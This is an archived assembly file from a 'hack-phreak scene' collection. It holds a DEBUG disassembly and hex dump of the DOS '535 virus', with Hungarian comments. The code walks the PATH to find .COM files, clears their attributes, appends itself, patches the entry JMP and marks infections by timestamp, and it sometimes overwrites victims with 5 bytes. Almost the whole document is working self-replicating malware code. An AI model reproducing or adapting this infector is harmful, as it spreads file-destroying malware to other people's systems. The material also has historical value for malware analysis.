home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / S35.ASM < prev    next >
Assembly Source File  |  1991-02-22  |  11KB  |  311 lines
  1. 535 virus:
  2.  
  3. 11E3:0100 E90404    JMP    0507
  4. 11E3:0103 49        DEC    CX
  5. 11E3:0104 60        DB    60
  6. 11E3:0105 6D        DB    6D
  7. 11E3:0106 2035        AND    [DI],DH
  8. 11E3:0108 3335        XOR    SI,[DI]
  9. 11E3:010A 205649    AND    [BP+49],DL
  10. 11E3:010D 52        PUSH    DX
  11. 11E3:010E 55        PUSH    BP
  12. 11E3:010F 53        PUSH    BX
  13. 11E3:0110 210D        AND    [DI],CX
  14. 11E3:0112 0A24        OR    AH,[SI]
  15. 11E3:0114 0000        ADD    [BX+SI],AL
  16.  
  17. 11E3:04FA 0000        ADD    [BX+SI],AL
  18. 11E3:04FC B409        MOV    AH,09
  19. 11E3:04FE BA0301    MOV    DX,0103
  20. 11E3:0501 CD21        INT    21
  21. 11E3:0503 B400        MOV    AH,00
  22. 11E3:0505 CD20        INT    20
  23.             ;Belépési pont
  24. 11E3:0507 51        PUSH    CX
  25. 11E3:0508 BAEE06    MOV    DX,06EE
  26. 11E3:050B 90        NOP
  27. 11E3:050C 8BF2        MOV    SI,DX
  28. 11E3:050E BF0001    MOV    DI,0100
  29. 11E3:0511 B90300    MOV    CX,0003
  30. 11E3:0514 FC        CLD
  31. 11E3:0515 F3        REPZ
  32. 11E3:0516 A4        MOVSB            ;Eredeti 3 byte vissza
  33. 11E3:0517 B430        MOV    AH,30
  34. 11E3:0519 CD21        INT    21        ;DOS. változat lekérdezése
  35. 11E3:051B 3C00        CMP    AL,00
  36. 11E3:051D 7503        JNZ    0522
  37. 11E3:051F E9BA01    JMP    06DC
  38. 11E3:0522 06        PUSH    ES
  39. 11E3:0523 B42F        MOV    AH,2F
  40. 11E3:0525 CD21        INT    21        ;DTA. lekérdezése
  41. 11E3:0527 8BF2        MOV    SI,DX
  42. 11E3:0529 899C0300    MOV    [SI+0003],BX    ;DTA. cim letárolása
  43. 11E3:052D 8C840500    MOV    [SI+0005],ES
  44. 11E3:0531 07        POP    ES
  45. 11E3:0532 B41A        MOV    AH,1A
  46. 11E3:0534 BA3000    MOV    DX,0030
  47. 11E3:0537 90        NOP
  48. 11E3:0538 03D6        ADD    DX,SI
  49. 11E3:053A CD21        INT    21        ;DTA. beállitása
  50. 11E3:053C 06        PUSH    ES
  51. 11E3:053D 56        PUSH    SI
  52. 11E3:053E 33FF        XOR    DI,DI
  53. 11E3:0540 8E062C00    MOV    ES,[002C]    ;Környezet szegmense
  54. 11E3:0544 5E        POP    SI
  55. 11E3:0545 56        PUSH    SI
  56. 11E3:0546 81C61A00    ADD    SI,001A
  57. 11E3:054A AC        LODSB
  58. 11E3:054B B90080    MOV    CX,8000     ;Max. 32k.byte
  59. 11E3:054E F2        REPNZ
  60. 11E3:054F AE        SCASB
  61. 11E3:0550 B90400    MOV    CX,0004     ;4 karakteres szo ("PATH")
  62. 11E3:0553 AC        LODSB            ;olvas
  63. 11E3:0554 AE        SCASB            ;hasonlit
  64. 11E3:0555 75ED        JNZ    0544
  65. 11E3:0557 E2FA        LOOP    0553
  66. 11E3:0559 5E        POP    SI
  67. 11E3:055A 07        POP    ES
  68. 11E3:055B 89BC1200    MOV    [SI+0012],DI
  69. 11E3:055F 8BDE        MOV    BX,SI
  70. 11E3:0561 81C61F00    ADD    SI,001F
  71. 11E3:0565 8BFE        MOV    DI,SI
  72. 11E3:0567 EB3B        JMP    05A4
  73. 11E3:0569 90        NOP
  74. 11E3:056A 83BC120000    CMP    WORD PTR [SI+0012],+00    ;Path vége ?
  75. 11E3:056F 7503        JNZ    0574
  76. 11E3:0571 E95E01    JMP    06D2
  77. 11E3:0574 1E        PUSH    DS
  78. 11E3:0575 56        PUSH    SI
  79. 11E3:0576 26        ES:
  80. 11E3:0577 8E1E2C00    MOV    DS,[002C]    ;Környezet szegmense
  81. 11E3:057B 8BFE        MOV    DI,SI
  82. 11E3:057D 26        ES:
  83. 11E3:057E 8BB51200    MOV    SI,[DI+0012]
  84. 11E3:0582 81C71F00    ADD    DI,001F
  85. 11E3:0586 AC        LODSB
  86. 11E3:0587 3C3B        CMP    AL,3B
  87. 11E3:0589 740A        JZ    0595
  88. 11E3:058B 3C00        CMP    AL,00
  89. 11E3:058D 7403        JZ    0592
  90. 11E3:058F AA        STOSB
  91. 11E3:0590 EBF4        JMP    0586
  92. 11E3:0592 BE0000    MOV    SI,0000
  93. 11E3:0595 5B        POP    BX
  94. 11E3:0596 1F        POP    DS
  95. 11E3:0597 89B71200    MOV    [BX+0012],SI
  96. 11E3:059B 807DFF5C    CMP    BYTE PTR [DI-01],5C    ;"\" jel ?
  97. 11E3:059F 7403        JZ    05A4
  98. 11E3:05A1 B05C        MOV    AL,5C
  99. 11E3:05A3 AA        STOSB
  100. 11E3:05A4 89BF1400    MOV    [BX+0014],DI
  101. 11E3:05A8 8BF3        MOV    SI,BX
  102. 11E3:05AA 81C60C00    ADD    SI,000C
  103. 11E3:05AE B90600    MOV    CX,0006
  104. 11E3:05B1 F3        REPZ
  105. 11E3:05B2 A4        MOVSB
  106. 11E3:05B3 8BF3        MOV    SI,BX
  107. 11E3:05B5 B44E        MOV    AH,4E
  108. 11E3:05B7 BA1F00    MOV    DX,001F
  109. 11E3:05BA 90        NOP
  110. 11E3:05BB 03D6        ADD    DX,SI
  111. 11E3:05BD B90300    MOV    CX,0003
  112. 11E3:05C0 CD21        INT    21        ;Elsö bejegyzés keresése
  113. 11E3:05C2 EB05        JMP    05C9
  114. 11E3:05C4 90        NOP
  115. 11E3:05C5 B44F        MOV    AH,4F
  116. 11E3:05C7 CD21        INT    21        ;Következö bejegyzés keresése
  117. 11E3:05C9 7302        JNB    05CD
  118. 11E3:05CB EB9D        JMP    056A
  119. 11E3:05CD 8B844600    MOV    AX,[SI+0046]
  120. 11E3:05D1 241D        AND    AL,1D
  121. 11E3:05D3 3C1D        CMP    AL,1D
  122. 11E3:05D5 74EE        JZ    05C5
  123. 11E3:05D7 81BC4A0000FA    CMP    WORD PTR [SI+004A],FA00
  124. 11E3:05DD 77E6        JA    05C5
  125. 11E3:05DF 83BC4A000A    CMP    WORD PTR [SI+004A],+0A
  126. 11E3:05E4 72DF        JB    05C5
  127. 11E3:05E6 8BBC1400    MOV    DI,[SI+0014]
  128. 11E3:05EA 56        PUSH    SI
  129. 11E3:05EB 81C64E00    ADD    SI,004E
  130. 11E3:05EF AC        LODSB
  131. 11E3:05F0 AA        STOSB
  132. 11E3:05F1 3C00        CMP    AL,00
  133. 11E3:05F3 75FA        JNZ    05EF
  134. 11E3:05F5 5E        POP    SI
  135. 11E3:05F6 B80043    MOV    AX,4300
  136. 11E3:05F9 BA1F00    MOV    DX,001F
  137. 11E3:05FC 90        NOP
  138. 11E3:05FD 03D6        ADD    DX,SI
  139. 11E3:05FF CD21        INT    21        ;Attrib lekérdezése
  140. 11E3:0601 898C0A00    MOV    [SI+000A],CX
  141. 11E3:0605 B80143    MOV    AX,4301
  142. 11E3:0608 81E1FEFF    AND    CX,FFFE
  143. 11E3:060C BA1F00    MOV    DX,001F
  144. 11E3:060F 90        NOP
  145. 11E3:0610 03D6        ADD    DX,SI
  146. 11E3:0612 CD21        INT    21        ;Attrib átállitása
  147. 11E3:0614 B8023D    MOV    AX,3D02
  148. 11E3:0617 BA1F00    MOV    DX,001F
  149. 11E3:061A 90        NOP
  150. 11E3:061B 03D6        ADD    DX,SI
  151. 11E3:061D CD21        INT    21        ;File nyitása
  152. 11E3:061F 7303        JNB    0624
  153. 11E3:0621 E99F00    JMP    06C3
  154. 11E3:0624 8BD8        MOV    BX,AX
  155. 11E3:0626 B80057    MOV    AX,5700
  156. 11E3:0629 CD21        INT    21        ;Keletkezési idö lekérdezése
  157. 11E3:062B 898C1800    MOV    [SI+0018],CX
  158. 11E3:062F 89941600    MOV    [SI+0016],DX
  159. 11E3:0633 B42C        MOV    AH,2C
  160. 11E3:0635 CD21        INT    21        ;idö lekérdezése
  161. 11E3:0637 80E607    AND    DH,07
  162. 11E3:063A 7510        JNZ    064C
  163. 11E3:063C B440        MOV    AH,40
  164. 11E3:063E B90500    MOV    CX,0005
  165. 11E3:0641 8BD6        MOV    DX,SI
  166. 11E3:0643 81C22B00    ADD    DX,002B
  167. 11E3:0647 CD21        INT    21        ;5 byte kiírása
  168. 11E3:0649 EB5F        JMP    06AA
  169. 11E3:064B 90        NOP
  170. 11E3:064C B43F        MOV    AH,3F
  171. 11E3:064E B90300    MOV    CX,0003
  172. 11E3:0651 8BD6        MOV    DX,SI
  173. 11E3:0653 CD21        INT    21        ;Elsö 3 byte olvasása
  174. 11E3:0655 7253        JB    06AA
  175. 11E3:0657 3D0300    CMP    AX,0003
  176. 11E3:065A 754E        JNZ    06AA
  177. 11E3:065C B80242    MOV    AX,4202
  178. 11E3:065F 33C9        XOR    CX,CX
  179. 11E3:0661 33D2        XOR    DX,DX
  180. 11E3:0663 CD21        INT    21        ;File méret meghatározása
  181. 11E3:0665 7243        JB    06AA
  182. 11E3:0667 8BC8        MOV    CX,AX
  183. 11E3:0669 2D0300    SUB    AX,0003
  184. 11E3:066C 89840800    MOV    [SI+0008],AX
  185. 11E3:0670 81C1E702    ADD    CX,02E7
  186. 11E3:0674 8BFE        MOV    DI,SI
  187. 11E3:0676 81EFE501    SUB    DI,01E5
  188. 11E3:067A 890D        MOV    [DI],CX
  189. 11E3:067C B440        MOV    AH,40
  190. 11E3:067E B91702    MOV    CX,0217
  191. 11E3:0681 90        NOP
  192. 11E3:0682 8BD6        MOV    DX,SI
  193. 11E3:0684 81EAE701    SUB    DX,01E7
  194. 11E3:0688 CD21        INT    21        ;Fertözés
  195. 11E3:068A 721E        JB    06AA
  196. 11E3:068C 3D1702    CMP    AX,0217
  197. 11E3:068F 90        NOP
  198. 11E3:0690 7518        JNZ    06AA
  199. 11E3:0692 B80042    MOV    AX,4200
  200. 11E3:0695 33C9        XOR    CX,CX
  201. 11E3:0697 33D2        XOR    DX,DX
  202. 11E3:0699 CD21        INT    21        ;File elejére áll
  203. 11E3:069B 720D        JB    06AA
  204. 11E3:069D B440        MOV    AH,40
  205. 11E3:069F B90300    MOV    CX,0003
  206. 11E3:06A2 8BD6        MOV    DX,SI
  207. 11E3:06A4 81C20700    ADD    DX,0007
  208. 11E3:06A8 CD21        INT    21        ;Uj JMP kiírása
  209. 11E3:06AA 8B8C1800    MOV    CX,[SI+0018]
  210. 11E3:06AE 8B941600    MOV    DX,[SI+0016]
  211. 11E3:06B2 81E1E0FF    AND    CX,FFE0
  212. 11E3:06B6 81C91D00    OR    CX,001D
  213. 11E3:06BA B80157    MOV    AX,5701
  214. 11E3:06BD CD21        INT    21
  215. 11E3:06BF B43E        MOV    AH,3E
  216. 11E3:06C1 CD21        INT    21        ;File zárása
  217. 11E3:06C3 B80143    MOV    AX,4301
  218. 11E3:06C6 8B8C0A00    MOV    CX,[SI+000A]
  219. 11E3:06CA BA1F00    MOV    DX,001F
  220. 11E3:06CD 90        NOP
  221. 11E3:06CE 03D6        ADD    DX,SI
  222. 11E3:06D0 CD21        INT    21        ;Eredeti attrib. vissza
  223. 11E3:06D2 1E        PUSH    DS
  224. 11E3:06D3 B41A        MOV    AH,1A
  225. 11E3:06D5 C5940300    LDS    DX,[SI+0003]
  226. 11E3:06D9 CD21        INT    21        ;Eredeti DTA. vissza
  227. 11E3:06DB 1F        POP    DS
  228. 11E3:06DC 59        POP    CX
  229. 11E3:06DD 33C0        XOR    AX,AX
  230. 11E3:06DF 33DB        XOR    BX,BX
  231. 11E3:06E1 33D2        XOR    DX,DX
  232. 11E3:06E3 33F6        XOR    SI,SI
  233. 11E3:06E5 BF0001    MOV    DI,0100
  234. 11E3:06E8 57        PUSH    DI
  235. 11E3:06E9 33FF        XOR    DI,DI
  236. 11E3:06EB C2FFFF    RET    FFFF        ;Eredeti prg. futtatása
  237. 11E3:06EE E9F903    JMP    0AEA
  238. 11E3:06F1 8000D9    ADD    BYTE PTR [BX+SI],D9
  239. 11E3:06F4 0DE904    OR    AX,04E9
  240. 11E3:06F7 0420        ADD    AL,20
  241. 11E3:06F9 002A        ADD    [BP+SI],CH
  242. 11E3:06FB 2E        CS:
  243. 11E3:06FC 43        INC    BX
  244. 11E3:06FD 4F        DEC    DI
  245. 11E3:06FE 4D        DEC    BP
  246. 11E3:06FF 0028        ADD    [BX+SI],CH
  247. 11E3:0701 007E1B    ADD    [BP+1B],BH
  248. 11E3:0704 56        PUSH    SI
  249. 11E3:0705 16        PUSH    SS
  250. 11E3:0706 16        PUSH    SS
  251. 11E3:0707 3F        AAS
  252. 11E3:0708 50        PUSH    AX
  253. 11E3:0709 41        INC    CX
  254. 11E3:070A 54        PUSH    SP
  255. 11E3:070B 48        DEC    AX
  256. 11E3:070C 3D352E    CMP    AX,2E35
  257. 11E3:070F 43        INC    BX
  258. 11E3:0710 4F        DEC    DI
  259. 11E3:0711 4D        DEC    BP
  260. 11E3:0712 005C44    ADD    [SI+44],BL
  261. 11E3:0715 49        DEC    CX
  262. 11E3:0716 53        PUSH    BX
  263. 11E3:0717 4B        DEC    BX
  264. 11E3:0718 43        INC    BX
  265. 11E3:0719 4F        DEC    DI
  266. 11E3:071A 50        PUSH    AX
  267. 11E3:071B 59        POP    CX
  268. 11E3:071C 2E        CS:
  269. 11E3:071D 43        INC    BX
  270. 11E3:071E 0DFF76    OR    AX,76FF
  271. -d 0100 071f
  272.  
  273. 11E3:0100  E9 04 04 49 60 6D 20 35-33 35 20 56 49 52 55 53   ...I`m 535 VIRUS
  274. 11E3:0110  21 0D 0A 24 00 00 00 00-00 00 00 00 00 00 00 00   !..$............
  275.  
  276. 11E3:04F0  00 00 00 00 00 00 00 00-00 00 00 00 B4 09 BA 03   ................
  277. 11E3:0500  01 CD 21 B4 00 CD 20 51-BA EE 06 90 8B F2 BF 00   ..!... Q........
  278. 11E3:0510  01 B9 03 00 FC F3 A4 B4-30 CD 21 3C 00 75 03 E9   ........0.!<.u..
  279. 11E3:0520  BA 01 06 B4 2F CD 21 8B-F2 89 9C 03 00 8C 84 05   ..../.!.........
  280. 11E3:0530  00 07 B4 1A BA 30 00 90-03 D6 CD 21 06 56 33 FF   .....0.....!.V3.
  281. 11E3:0540  8E 06 2C 00 5E 56 81 C6-1A 00 AC B9 00 80 F2 AE   ..,.^V..........
  282. 11E3:0550  B9 04 00 AC AE 75 ED E2-FA 5E 07 89 BC 12 00 8B   .....u...^......
  283. 11E3:0560  DE 81 C6 1F 00 8B FE EB-3B 90 83 BC 12 00 00 75   ........;......u
  284. 11E3:0570  03 E9 5E 01 1E 56 26 8E-1E 2C 00 8B FE 26 8B B5   ..^..V&..,...&..
  285. 11E3:0580  12 00 81 C7 1F 00 AC 3C-3B 74 0A 3C 00 74 03 AA   .......<;t.<.t..
  286. 11E3:0590  EB F4 BE 00 00 5B 1F 89-B7 12 00 80 7D FF 5C 74   .....[......}.\t
  287. 11E3:05A0  03 B0 5C AA 89 BF 14 00-8B F3 81 C6 0C 00 B9 06   ..\.............
  288. 11E3:05B0  00 F3 A4 8B F3 B4 4E BA-1F 00 90 03 D6 B9 03 00   ......N.........
  289. 11E3:05C0  CD 21 EB 05 90 B4 4F CD-21 73 02 EB 9D 8B 84 46   .!....O.!s.....F
  290. 11E3:05D0  00 24 1D 3C 1D 74 EE 81-BC 4A 00 00 FA 77 E6 83   .$.<.t...J...w..
  291. 11E3:05E0  BC 4A 00 0A 72 DF 8B BC-14 00 56 81 C6 4E 00 AC   .J..r.....V..N..
  292. 11E3:05F0  AA 3C 00 75 FA 5E B8 00-43 BA 1F 00 90 03 D6 CD   .<.u.^..C.......
  293. 11E3:0600  21 89 8C 0A 00 B8 01 43-81 E1 FE FF BA 1F 00 90   !......C........
  294. 11E3:0610  03 D6 CD 21 B8 02 3D BA-1F 00 90 03 D6 CD 21 73   ...!..=.......!s
  295. 11E3:0620  03 E9 9F 00 8B D8 B8 00-57 CD 21 89 8C 18 00 89   ........W.!.....
  296. 11E3:0630  94 16 00 B4 2C CD 21 80-E6 07 75 10 B4 40 B9 05   ....,.!...u..@..
  297. 11E3:0640  00 8B D6 81 C2 2B 00 CD-21 EB 5F 90 B4 3F B9 03   .....+..!._..?..
  298. 11E3:0650  00 8B D6 CD 21 72 53 3D-03 00 75 4E B8 02 42 33   ....!rS=..uN..B3
  299. 11E3:0660  C9 33 D2 CD 21 72 43 8B-C8 2D 03 00 89 84 08 00   .3..!rC..-......
  300. 11E3:0670  81 C1 E7 02 8B FE 81 EF-E5 01 89 0D B4 40 B9 17   .............@..
  301. 11E3:0680  02 90 8B D6 81 EA E7 01-CD 21 72 1E 3D 17 02 90   .........!r.=...
  302. 11E3:0690  75 18 B8 00 42 33 C9 33-D2 CD 21 72 0D B4 40 B9   u...B3.3..!r..@.
  303. 11E3:06A0  03 00 8B D6 81 C2 07 00-CD 21 8B 8C 18 00 8B 94   .........!......
  304. 11E3:06B0  16 00 81 E1 E0 FF 81 C9-1D 00 B8 01 57 CD 21 B4   ............W.!.
  305. 11E3:06C0  3E CD 21 B8 01 43 8B 8C-0A 00 BA 1F 00 90 03 D6   >.!..C..........
  306. 11E3:06D0  CD 21 1E B4 1A C5 94 03-00 CD 21 1F 59 33 C0 33   .!........!.Y3.3
  307. 11E3:06E0  DB 33 D2 33 F6 BF 00 01-57 33 FF C2 FF FF E9 F9   .3.3....W3......
  308. 11E3:06F0  03 80 00 D9 0D E9 04 04-20 00 2A 2E 43 4F 4D 00   ........ .*.COM.
  309. 11E3:0700  28 00 7E 1B 56 16 16 3F-50 41 54 48 3D 35 2E 43   (.~.V..?PATH=5.C
  310. 11E3:0710  4F 4D 00 5C 44 49 53 4B-43 4F 50 59 2E 43 0D FF   OM.\DISKCOPY.C..
  311.